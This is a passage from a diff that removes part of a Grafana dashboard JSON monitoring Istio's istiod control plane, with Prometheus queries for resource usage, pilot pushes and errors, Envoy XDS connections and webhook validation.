"datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "C" - } - ], - "title": "Memory", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 6, - "y": 7 - }, - "id": 6, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "irate(process_cpu_seconds_total{app=\"istiod\", cluster=~\"$cluster\"}[1m])", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (process)", - "range": true, - "refId": "C", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "B", - "step": 2 - } - ], - "title": "CPU", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 12, - "y": 7 - }, - "id": 7, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Discovery", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar", - "range": true, - "refId": "A" - } - ], - "title": "Disk", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 18, - "y": 7 - }, - "id": 4, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": false - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_goroutines{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Number of Goroutines", - "range": true, - "refId": "A", - "step": 2 - } - ], - "title": "Goroutines", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 14 - }, - "id": 58, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Pilot Push Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the rate of pilot pushes", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "bars", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 15 - }, - "id": 622, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"cds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Cluster", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"eds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Endpoints", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"lds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Listeners", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"rds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Routes", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"sds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Secrets", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"nds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Nametables", - "range": true, - "refId": "F" - } - ], - "title": "Pilot Pushes", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Captures a variety of pilot errors", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 15 - }, - "id": 67, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected CDS Configs", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected EDS Configs", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected RDS Configs", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_lds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_lds_reject{app=\"istiod\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected LDS Configs", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Write Timeouts", - "range": true, - "refId": "F" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_internal_errors{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Internal Errors", - "range": true, - "refId": "H" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_rejects{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Config Rejection Rate", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "expr": "sum(rate(pilot_xds_push_context_errors{app=\"istiod\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Push Context Errors", - "refId": "K" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Push Timeouts", - "range": true, - "refId": "G" - } - ], - "title": "Pilot Errors", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the total time it takes to push a config update to a proxy", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 15 - }, - "id": 624, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.5, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p50 ", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.9, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.99, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.999, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99.9", - "range": true, - "refId": "D" - } - ], - "title": "Proxy Push Time", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 45, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_inbound_listener{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Inbound Listeners", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_http_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (http over current tcp)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current tcp)", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_http{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current http)", - "range": true, - "refId": "D" - } - ], - "title": "Conflicts", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 23 - }, - "id": 47, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_virt_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Virtual Services", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Services", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds{app=\"istiod\", cluster=~\"$cluster\"}) by (pod)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Connected Endpoints {{pod}}", - "range": true, - "refId": "E" - } - ], - "title": "ADS Monitoring", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 31 - }, - "id": 64, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Envoy Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows details about Envoy proxies in the mesh", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 32 - }, - "id": 40, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connections", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_connect_fail{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connection Failures", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(increase(envoy_server_hot_restart_epoch{cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Envoy Restarts", - "range": true, - "refId": "B" - } - ], - "title": "Envoy Details", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 32 - }, - "id": 41, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(envoy_cluster_upstream_cx_active{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "XDS Active Connections", - "range": true, - "refId": "C", - "step": 2 - } - ], - "title": "XDS Active Connections", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the size of XDS requests and responses", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "Bps" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 32 - }, - "id": 42, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Max", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(0.5, rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Average", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Max", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(.5, rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Average", - "range": true, - "refId": "C" - } - ], - "title": "XDS Requests Size", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 40 - }, - "id": 626, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Webhooks", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 41 - }, - "id": 629, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_passed[1m]))", - "interval": "", - "legendFormat": "Validations (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_failed[1m]))", - "interval": "", - "legendFormat": "Validation (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Configuration Validation", - "type": "timeseries" - }, - { - 